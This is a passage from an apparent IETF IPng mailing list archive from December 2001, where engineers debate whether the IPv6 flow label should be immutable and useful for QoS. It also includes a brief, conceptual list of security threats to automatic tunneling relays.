[129.147.5.36]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id WAA01252 for ; Wed, 26 Dec 2001 22:32:50 -0800 (PST) Received: from brandenburg.cs.mu.OZ.AU (96-1.nat.psu.ac.th [202.28.96.1]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id XAA08843 for ; Wed, 26 Dec 2001 23:32:48 -0700 (MST) Received: from brandenburg.cs.mu.OZ.AU (localhost [127.0.0.1]) by brandenburg.cs.mu.OZ.AU (8.11.0/8.11.0) with ESMTP id fBR6Vl501456; Thu, 27 Dec 2001 13:31:48 +0700 (ICT) From: Robert Elz To: Scott Bradner cc: kempf@docomolabs-usa.com, perry@wasabisystems.com, ipng@sunroof.eng.sun.com Subject: Re: Flow Label In-Reply-To: <200112261857.fBQIv8q12264@newdev.harvard.edu> References: <200112261857.fBQIv8q12264@newdev.harvard.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Thu, 27 Dec 2001 13:31:47 +0700 Message-ID: <1454.1009434707@brandenburg.cs.mu.OZ.AU> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Date: Wed, 26 Dec 2001 13:57:08 -0500 (EST) From: Scott Bradner Message-ID: <200112261857.fBQIv8q12264@newdev.harvard.edu> | the whole point of class-based QoS is to not have to deal at the | port and protocol level But the information about the QoS desired has to come from somewhere doesn't it? We assume (as you say) that it doesn't come from the port/protocol. It can't come from the traffic class (DSCP), as that's explicitly been designated to be mutable - when it reaches any random router it could contain any value at all - not in any way related to the value it had when the packet left the originator. So, in your model, from where does an arbitrary router discover the QoS request desired for this particular packet? kre -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 27 02:21:29 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBRALSZR020125 for ; Thu, 27 Dec 2001 02:21:28 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBRALSvH020124 for ipng-dist; Thu, 27 Dec 2001 02:21:28 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBRALPZR020117 for ; Thu, 27 Dec 2001 02:21:25 -0800 (PST) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id CAA05033 for ; Thu, 27 Dec 2001 02:21:28 -0800 (PST) Received: from internet-gateway2.zurich.ibm.com (internet-gateway2-x.zurich.ibm.com [195.212.119.243]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id DAA08716 for ; Thu, 27 Dec 2001 03:21:26 -0700 (MST) Received: from collon.zurich.ibm.com (collon.zurich.ibm.com [9.4.16.143]) by internet-gateway2.zurich.ibm.com (AIX4.3/8.9.3/8.8.8) with SMTP id LAA07006; Thu, 27 Dec 2001 11:21:25 +0100 Received: from dhcp23-128.zurich.ibm.com by collon.zurich.ibm.com (AIX 4.3/UCB 5.64/4.03) id AA31090 from ; Thu, 27 Dec 2001 11:21:22 +0100 Message-Id: <3C2AF623.CD581793@hursley.ibm.com> Date: Thu, 27 Dec 2001 11:21:23 +0100 From: Brian E Carpenter Organization: IBM X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U) X-Accept-Language: en,fr Mime-Version: 1.0 To: "Perry E. Metzger" Cc: ipng@sunroof.eng.sun.com Subject: Re: Round and round Re: Flow Label References: <87pu54msw4.fsf@snark.piermont.com> <3C29E408.B6A07738@hursley.ibm.com> <87wuzaaq0p.fsf@snark.piermont.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk "Perry E. Metzger" wrote: > > Brian E Carpenter writes: > > Let's either clarify them, as in the one para summary that Tony Hain > > sent a few days ago, or simply write the field off as reserved, in which > > case IPv6 will have no advantage of IPv4 for QOS purposes. > > I think the notion of making our protocols better for QoS purposes is > an admirable one. My problem is that I don't think anyone has well > demonstrated that the flow label *will* give us an advantage for QoS > purposes. I understand the arguments. I just haven't seen anyone > step up with the crucial "we at large router vendor have done the > experiment and even though we have to reach into the packet anyway to > do tuple extraction having this in a percentage of the packets will > increase performance in this quantitative way." Chicken and egg. People building protocol silicon aren't going to commit to the flow label until it has a useful definition. Also, the goal is not to increase total performance; it's to discriminate between different traffic streams in a quantitative way. That's done today in plenty of products; the flow label would simply add a tool. > > I'll repeat (broken-record like), we've already deployed the end point > implementations in the field. We can't change those stacks at this > point. No, so it's just as well the API supports the flow label :-) Brian -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 27 02:49:24 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBRAnOZR020155 for ; Thu, 27 Dec 2001 02:49:24 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBRAnO7p020154 for ipng-dist; Thu, 27 Dec 2001 02:49:24 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBRAnLZR020147 for ; Thu, 27 Dec 2001 02:49:21 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id CAA06832 for ; Thu, 27 Dec 2001 02:49:24 -0800 (PST) Received: from internet-gateway2.zurich.ibm.com (internet-gateway2-x.zurich.ibm.com [195.212.119.243]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id DAA16313 for ; Thu, 27 Dec 2001 03:50:16 -0700 (MST) Received: from collon.zurich.ibm.com (collon.zurich.ibm.com [9.4.16.143]) by internet-gateway2.zurich.ibm.com (AIX4.3/8.9.3/8.8.8) with SMTP id LAA12702; Thu, 27 Dec 2001 11:49:21 +0100 Received: from dhcp23-128.zurich.ibm.com by collon.zurich.ibm.com (AIX 4.3/UCB 5.64/4.03) id AA33000 from ; Thu, 27 Dec 2001 11:49:18 +0100 Message-Id: <3C2AFCAE.889DEE98@hursley.ibm.com> Date: Thu, 27 Dec 2001 11:49:18 +0100 From: Brian E Carpenter Organization: IBM X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U) X-Accept-Language: en,fr Mime-Version: 1.0 To: Margaret Wasserman Cc: "Hesham Soliman (ERA)" , ipng@sunroof.eng.sun.com Subject: Re: draft-rajahalme-ipv6-flow-label-00.txt References: <4.2.2.20011221173505.01fd64b0@mail.windriver.com> <4.2.2.20011226114335.020008f0@mail.windriver.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Margaret, First, I agree - the normative text needed is very short (Tony's paragraph) and the current draft can be confusing (I can say that since I was a co-author of the previous version:). Second- both intserv and diffserv already document their use of the flow label. For intserv it's in RFC 2205 (only slightly out of date). For diffserv it's in the MIB (queued up at the RFC Editor). For intserv, the flow label is an optional part of a Filter_Spec, i.e. it needs to have the same value all along the path since the Filter_Spec is signalled along the path by RSVP. For diffserv, the flow label is the only field available as an ISP-independent QOS flag, so (unlike the traffic class) it needs to survive ISP boundaries. Brian Margaret Wasserman wrote: > > >No. The immutability property is necessary for both of the > >existing QOS standards, and is necessary for any QOS mechanism > >that doesn't require an explicit chain of SLAs along the entire > >path (an unlikely scenario in a dynamically routed internet). > > If immutability would make the flow label field useful for > diffserv and intserv, then I have no objection to it being > immutable. I think that making intserv/diffserv more useful > and/or efficient would be a fine use for the flow lable. > > Could we get a draft that explains how the flow label would be > used for diffserv/intserv? One that justifies the need for > immutability? > > Assuming that immutability would actually make the flow > label more useful for diffserv/intserv, I would accept the > minor changes to the base IPv6 spec (adding immutability) that > Tony sent. But, I have not seen any draft that would make this > single change. > > The current draft (in the subject) says a lot more > than this. First, it recaps parts of the IPv6 Appendix, > without really making it clear what parts of that Appendix > it is (and is not) intending to standardize. > > The draft also states that a given source/desination/FL > combination will uniquely identify a flow. This is not > true -- some knowledge of lifetimes, or some restrictions > against flow label re-use would be needed to make this > true. > > Anyway, how a flow is identified shouldn't be defined as > part of the base IPv6 specification. Each signalling > (or other flow management) mechanism should define how > flows are identified for its use -- and this may differ > for different mechanisms. > > So -- what I'd like to see: > > - A draft that explains how the flow label > would be used for intserv and/or > diffserv that explains what properties > are necessary for that use (i.e. > length, immutability, values, etc.) > - A draft that proposes the simple change > to the IPv6 spec that Tony sent. > > Do you think that is reasonable? > > Margaret -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 27 02:51:21 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBRApLZR020181 for ; Thu, 27 Dec 2001 02:51:21 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBRApLPB020180 for ipng-dist; Thu, 27 Dec 2001 02:51:21 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBRApIZR020173 for ; Thu, 27 Dec 2001 02:51:18 -0800 (PST) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id CAA27187 for ; Thu, 27 Dec 2001 02:51:21 -0800 (PST) Received: from internet-gateway2.zurich.ibm.com (internet-gateway2-x.zurich.ibm.com [195.212.119.243]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id DAA12275 for ; Thu, 27 Dec 2001 03:51:20 -0700 (MST) Received: from collon.zurich.ibm.com (collon.zurich.ibm.com [9.4.16.143]) by internet-gateway2.zurich.ibm.com (AIX4.3/8.9.3/8.8.8) with SMTP id LAA11968; Thu, 27 Dec 2001 11:51:19 +0100 Received: from dhcp23-128.zurich.ibm.com by collon.zurich.ibm.com (AIX 4.3/UCB 5.64/4.03) id AA65686 from ; Thu, 27 Dec 2001 11:51:16 +0100 Message-Id: <3C2AFD25.EBCE2FF6@hursley.ibm.com> Date: Thu, 27 Dec 2001 11:51:17 +0100 From: Brian E Carpenter Organization: IBM X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U) X-Accept-Language: en,fr Mime-Version: 1.0 To: "Perry E. Metzger" Cc: Michael Thomas , ipng@sunroof.eng.sun.com Subject: Re: Flow Label References: <87pu54msw4.fsf@snark.piermont.com> <15399.47568.627426.907205@thomasm-u1.cisco.com> <87wuzci3h9.fsf@snark.piermont.com> <15399.50180.243725.647302@thomasm-u1.cisco.com> <87666wi1ou.fsf@snark.piermont.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Perry, the traffic class is mutable at ISP boundaries. If the flow label is also mutable, it adds no value and becomes wasted bits. Brian "Perry E. Metzger" wrote: > > Michael Thomas writes: > > If you don't believe in signaled QoS, you don't > > believe in any use of a flow label qua flow label. > > I thought we had a "traffic class" to permit "signaled QoS" for some > value of "signaled QoS". I was unaware flow labels were intended for > this purpose. > > > And XP can make flow labels along with DSCP's as > > soon as the current or next gen worm is done > > rewriting their kernels. > > I'm an old fashioned kind of engineer. I'd like to see some folks from > router vendors give us precise information about the *exact* use > they'll put the flow label information to, and quantitative > information about how much better it will be for them to have the flow > label than not to have it. Engineering by committee is bad enough -- > engineering by committee and by hearsay simultaneously is far worse. > > Perry > -- > Perry E. Metzger perry@wasabisystems.com > -- > NetBSD Development, Support & CDs. http://www.wasabisystems.com/ -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 27 02:54:36 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBRAsaZR020208 for ; Thu, 27 Dec 2001 02:54:36 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBRAsama020207 for ipng-dist; Thu, 27 Dec 2001 02:54:36 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBRAsXZR020200 for ; Thu, 27 Dec 2001 02:54:33 -0800 (PST) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id CAA27351 for ; Thu, 27 Dec 2001 02:54:36 -0800 (PST) Received: from internet-gateway2.zurich.ibm.com (internet-gateway2-x.zurich.ibm.com [195.212.119.243]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id DAA12661 for ; Thu, 27 Dec 2001 03:54:35 -0700 (MST) Received: from collon.zurich.ibm.com (collon.zurich.ibm.com [9.4.16.143]) by internet-gateway2.zurich.ibm.com (AIX4.3/8.9.3/8.8.8) with SMTP id LAA10616; Thu, 27 Dec 2001 11:54:33 +0100 Received: from dhcp23-128.zurich.ibm.com by collon.zurich.ibm.com (AIX 4.3/UCB 5.64/4.03) id AA32814 from ; Thu, 27 Dec 2001 11:54:31 +0100 Message-Id: <3C2AFDE8.A7FD5F79@hursley.ibm.com> Date: Thu, 27 Dec 2001 11:54:32 +0100 From: Brian E Carpenter Organization: IBM X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U) X-Accept-Language: en,fr Mime-Version: 1.0 To: Scott Bradner Cc: ipng@sunroof.eng.sun.com Subject: Re: Flow Label References: <200112251350.fBPDort09862@newdev.harvard.edu> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Scott Bradner wrote: > > Perry sez: > > My personal taste is that we rename the field "Reserved -- must be > > zero" so that people quit coming up with proposals just because, as > > one person at Salt Lake City put it, "it is embarrassing that we have a > > flow label field but nothing uses it so we should come up with a use" > > I agree with this I don't recall anyone saying that. I believe I said something along the lines of "we should either define the use, or define the field as reserved MBZ" because anything else just confuses everybody. I will come back to why I think MBZ is the wrong answer. Brian -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 27 02:57:45 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBRAviZR020245 for ; Thu, 27 Dec 2001 02:57:44 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBRAviFG020244 for ipng-dist; Thu, 27 Dec 2001 02:57:44 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBRAvfZR020237 for ; Thu, 27 Dec 2001 02:57:41 -0800 (PST) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id CAA04275 for ; Thu, 27 Dec 2001 02:57:44 -0800 (PST) Received: from internet-gateway2.zurich.ibm.com (internet-gateway2-x.zurich.ibm.com [195.212.119.243]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id DAA24046 for ; Thu, 27 Dec 2001 03:57:25 -0700 (MST) Received: from collon.zurich.ibm.com (collon.zurich.ibm.com [9.4.16.143]) by internet-gateway2.zurich.ibm.com (AIX4.3/8.9.3/8.8.8) with SMTP id LAA12012; Thu, 27 Dec 2001 11:57:42 +0100 Received: from dhcp23-128.zurich.ibm.com by collon.zurich.ibm.com (AIX 4.3/UCB 5.64/4.03) id AA58678 from ; Thu, 27 Dec 2001 11:57:40 +0100 Message-Id: <3C2AFEA4.604ED790@hursley.ibm.com> Date: Thu, 27 Dec 2001 11:57:40 +0100 From: Brian E Carpenter Organization: IBM X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U) X-Accept-Language: en,fr Mime-Version: 1.0 To: Michael Thomas Cc: "Perry E. Metzger" , ipng@sunroof.eng.sun.com Subject: Re: Flow Label References: <87pu54msw4.fsf@snark.piermont.com> <15399.47568.627426.907205@thomasm-u1.cisco.com> <87wuzci3h9.fsf@snark.piermont.com> <15399.50180.243725.647302@thomasm-u1.cisco.com> <87666wi1ou.fsf@snark.piermont.com> <15399.52762.580187.141948@thomasm-u1.cisco.com> <87sna0gkoo.fsf@snark.piermont.com> <15400.50164.852323.177813@thomasm-u1.cisco.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Michael Thomas wrote: ... > > Second of all, they > > don't yet have silicon that will do anything with the "flow label" and > > it will be years before they could have deployed hardware like > > that. > > ::snort:: > Couldn't have said it better :-) Of course there is no silicon that looks at the flow label. That's because we haven't ever defined it usefully. If we define it usefully, the silicon will show up a few years later. Brian -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 27 02:58:56 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBRAwuZR020268 for ; Thu, 27 Dec 2001 02:58:56 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBRAwurE020267 for ipng-dist; Thu, 27 Dec 2001 02:58:56 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBRAwrZR020260 for ; Thu, 27 Dec 2001 02:58:53 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id CAA07468 for ; Thu, 27 Dec 2001 02:58:56 -0800 (PST) Received: from internet-gateway2.zurich.ibm.com (internet-gateway2-x.zurich.ibm.com [195.212.119.243]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id CAA18044 for ; Thu, 27 Dec 2001 02:58:55 -0800 (PST) Received: from collon.zurich.ibm.com (collon.zurich.ibm.com [9.4.16.143]) by internet-gateway2.zurich.ibm.com (AIX4.3/8.9.3/8.8.8) with SMTP id LAA12732; Thu, 27 Dec 2001 11:58:53 +0100 Received: from dhcp23-128.zurich.ibm.com by collon.zurich.ibm.com (AIX 4.3/UCB 5.64/4.03) id AA32880 from ; Thu, 27 Dec 2001 11:58:51 +0100 Message-Id: <3C2AFEEB.38EFFFCA@hursley.ibm.com> Date: Thu, 27 Dec 2001 11:58:51 +0100 From: Brian E Carpenter Organization: IBM X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U) X-Accept-Language: en,fr Mime-Version: 1.0 To: "Perry E. Metzger" Cc: Michael Thomas , ipng@sunroof.eng.sun.com Subject: Re: Flow Label References: <87pu54msw4.fsf@snark.piermont.com> <15399.47568.627426.907205@thomasm-u1.cisco.com> <87wuzci3h9.fsf@snark.piermont.com> <15399.50180.243725.647302@thomasm-u1.cisco.com> <87666wi1ou.fsf@snark.piermont.com> <15399.52762.580187.141948@thomasm-u1.cisco.com> <87sna0gkoo.fsf@snark.piermont.com> <15400.50164.852323.177813@thomasm-u1.cisco.com> <87g05zds04.fsf@snark.piermont.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk "Perry E. Metzger" wrote: > > Michael Thomas writes: > > > Yes, I have substantial doubts on this. First of all, people already > > > have silicon that does this astonishingly fast. > > > > Define "astonishingly"; > > Ran Atkinson says Extreme's implementation (among other things) > extracts the N-tuple in one clock cycle once the packet is in the > ASIC. I may be mis-stating his claim but you can feel free to ask him > about it -- it isn't like he's a shy guy. I don't think you'll find it works very well for ESP traffic. That is, please don't forget, why the flow label is a potential solution. Brian -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 27 03:03:02 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBRB32ZR020326 for ; Thu, 27 Dec 2001 03:03:02 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBRB32sR020325 for ipng-dist; Thu, 27 Dec 2001 03:03:02 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBRB2vZR020315 for ; Thu, 27 Dec 2001 03:02:58 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id DAA27771 for ; Thu, 27 Dec 2001 03:02:58 -0800 (PST) Received: from internet-gateway2.zurich.ibm.com (internet-gateway2-x.zurich.ibm.com [195.212.119.243]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id DAA18952 for ; Thu, 27 Dec 2001 03:02:57 -0800 (PST) Received: from collon.zurich.ibm.com (collon.zurich.ibm.com [9.4.16.143]) by internet-gateway2.zurich.ibm.com (AIX4.3/8.9.3/8.8.8) with SMTP id MAA12754; Thu, 27 Dec 2001 12:02:56 +0100 Received: from dhcp23-128.zurich.ibm.com by collon.zurich.ibm.com (AIX 4.3/UCB 5.64/4.03) id AA59474 from ; Thu, 27 Dec 2001 12:02:54 +0100 Message-Id: <3C2AFFDE.69CB7EA7@hursley.ibm.com> Date: Thu, 27 Dec 2001 12:02:54 +0100 From: Brian E Carpenter Organization: IBM X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U) X-Accept-Language: en,fr Mime-Version: 1.0 To: Margaret Wasserman Cc: "Perry E. Metzger" , ipng@sunroof.eng.sun.com Subject: Re: Flow Label References: <4.2.2.20011225191037.020021b0@mail.windriver.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Margaret Wasserman wrote: ... > IPv6 is already deployed in a large number of systems, and if > things go well, it will be deployed (and used!) in an even > larger number of systems within the next two years. We need > to stop making experimental changes, finish up our existing > specs and get IPv6 ready for prime time. And our existing specs contain a big hole: the sloppy text about the flow label. That's why this discussion started (see Jochen Metzler's message of November 15, 2000). Brian -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 27 03:02:56 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBRB2uZR020308 for ; Thu, 27 Dec 2001 03:02:56 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBRB2uwk020307 for ipng-dist; Thu, 27 Dec 2001 03:02:56 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBRB2qZR020300; Thu, 27 Dec 2001 03:02:52 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id DAA08016; Thu, 27 Dec 2001 03:02:53 -0800 (PST) Received: from netcore.fi (netcore.fi [193.94.160.1]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id DAA18928; Thu, 27 Dec 2001 03:02:51 -0800 (PST) Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id fBRB1Yb21428; Thu, 27 Dec 2001 13:01:34 +0200 Date: Thu, 27 Dec 2001 13:01:33 +0200 (EET) From: Pekka Savola To: Brian E Carpenter cc: "Fred L. Templin" , Vladislav Yasevich , , Subject: Re: (ngtrans) remote netaccess-threats via automatic tunneling In-Reply-To: <3C25F41D.17BC75FB@hursley.ibm.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk On Sun, 23 Dec 2001, Brian E Carpenter wrote: > > IMO, this is the wrong approach. Security precautions should be discussed > > and handled all the way through the specification (as with Shipworm), and > > in security considerations, a summary and remainder threats discussed. > > Remainder threats are not covered there. > > Are you aware of any except spoofing? Aware of what, exactly? Remainder threats? From the top of my head, if proper checks are not implemented: - being able to send hlim=255 link/site locals to the pseudointerface - numerous other more general spoofing attacks if checks are implemented: - relays used for reflection (to 2002:[target ipv4], possibly broad/multicast) - relays being used without authorization (theft of service and how to avoid it) [BGP advertisement restrictions aren't enough] - more or less authorized relay sending e.g. spoofed 2002:: packets As can be seen and has been seen, relays are the toughie here.. > > - should autotunnel be deprecated in a more official fashion? > > Probably. That means removing it from the address architecture and from > RFC 2893. Addrarch revision is underway (close to complete I fear), so this might be the chance to do one of these (next one would possibly be in 2-3 years). I commented on the fact earlier too, because I didn't see all that much point in describing just one special tunneling technique in addrarch. If curious, the message was: Date: Sun, 26 Aug 2001 00:20:38 +0300 (EEST) From: Pekka Savola To: Bob Hinden cc: -- Pekka Savola "Tell me of difficulties surmounted, Netcore Oy not those you stumble over and fall" Systems. Networks. Security. -- Robert Jordan: A Crown of Swords -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 27 03:15:07 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBRBF6ZR020390 for ; Thu, 27 Dec 2001 03:15:06 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBRBF6Vj020389 for ipng-dist; Thu, 27 Dec 2001 03:15:06 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by 